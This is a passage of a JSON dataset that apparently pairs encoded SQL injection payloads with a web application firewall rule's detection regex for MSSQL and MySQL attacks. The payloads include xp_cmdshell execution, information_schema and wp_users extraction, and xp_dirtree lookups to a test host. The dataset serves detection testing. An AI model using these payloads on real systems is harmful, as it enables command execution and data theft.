"(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "+exec+master..xp_cmdshell%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "selectect%252520user%28%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "execution%3De1s1%26OlyH%3D9767+AND+1%3D1+UNION+ALL+SELECT+1%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name+FROM+information_schema.tables+WHERE+2%3E1--%2F%2A%2A%2F%3B+EXEC+xp_cmdshell%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "%27%21%60%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "%22%20UNION%20ALL%20SELECT%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "EXec+xp_cmdshell%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "FrOM+information_schema.%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "select+1+FROM%28select+count%28%2A%29%2Cconcat%28%28select+%28select+concat%28user%28%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "%60%211%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "uNioN++sElecT%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "%22%3BSELECT+P%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=UnIoN+SeLeCt%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=1);declare @q varchar(99);set @q='\\\\j0kwbatxjfgjp0qu3ibonwovamgmkq8h05unittests.corerule' 'set.org\\kph'; exec master.dbo.xp_dirtree @q;--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=content.ini);declare @q varchar(99);set @q='\\\\i1kvc9uwkehiqzrt4hcnovpublhunittests.corerule' 'set.org\\lri'; exec master.dbo.xp_dirtree @q;--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=EmptyValue', '4', '2', '7');declare @q varchar(99);set @q='\\\\h5nug8yvodlhuyvs8ggmsuttfklkcjunittests.corerule'+'set.org\\vcr'; exec master.dbo.xp_dirtree @q;--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=test));declare @q varchar(99);set @q='\\\\zwzc7qpdfvczlgmazy74jckb62cunittests.corrule'+'set.org\\gej'; exec master.dbo.xp_dirtree @q;--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "id=@.:=right(right((select+user_login+from+wordpress.wp_users+limit+1,1),1111),1111)+union%23%0adistinctrow%0bselect@." } ], "attack_context": { "method": "GET", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MySQL SQLi using set variable" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=Die%20%22Union%20von%20Europa%22" } ], "attack_context": { "method": "GET", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": 